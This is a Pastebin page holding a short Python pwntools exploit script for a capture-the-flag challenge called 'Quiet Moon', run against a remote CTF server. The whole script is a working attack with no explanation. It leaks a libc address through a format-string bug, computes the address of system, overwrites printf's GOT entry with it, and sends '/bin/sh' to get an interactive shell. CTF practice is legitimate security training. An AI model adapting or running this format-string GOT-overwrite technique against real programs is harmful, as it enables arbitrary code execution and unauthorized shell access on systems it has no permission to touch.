Advertisement
Guest User

Quiet Moon exploit

a guest
May 21st, 2018
285
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.86 KB | None | 0 0
  1. #Quiet Moon
  2. from pwn import *
  3. import re
  4.  
  5.  
  6. #r = process("./quietmoon.copy")
  7. r = remote("ctf.pwn.sg", 2901)
  8.  
  9. read_GOT = 0x601048
  10. printf_GOT = 0x601030
  11.  
  12. #leak
  13. def leak(addr):
  14. fmt = "|%8$s"
  15. fmt = fmt.ljust(16) + p64(addr)
  16. r.sendline(fmt)
  17. r.recvuntil("Can you find the Coven at /thecoven/flag?\n\n|")
  18. return u64(r.recvline()[:6]+'\x00\x00')
  19.  
  20. read_LIBC = leak(read_GOT)
  21. system_LIBC = read_LIBC-0x110070+0x4f440
  22.  
  23.  
  24. #overwrite printf GOT address
  25. upper = system_LIBC%0x100000000/0x10000
  26. lower = system_LIBC%0x10000
  27.  
  28. if upper > lower:
  29. fmt = "%"+str(lower)+"x%10$hn%"+str(upper-lower)+"x%11$hn"
  30. fmt = fmt.ljust(32) + p64(printf_GOT) + p64(printf_GOT+2)
  31. else:
  32. fmt = "%"+str(upper)+"x%10$hn%"+str(lower-upper)+"x%11$hn"
  33. fmt = fmt.ljust(32) + p64(printf_GOT+2) + p64(printf_GOT)
  34.  
  35. r.sendline(fmt)
  36. r.sendline("/bin/sh")
  37.  
  38.  
  39.  
  40. r.interactive()
  41. r.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement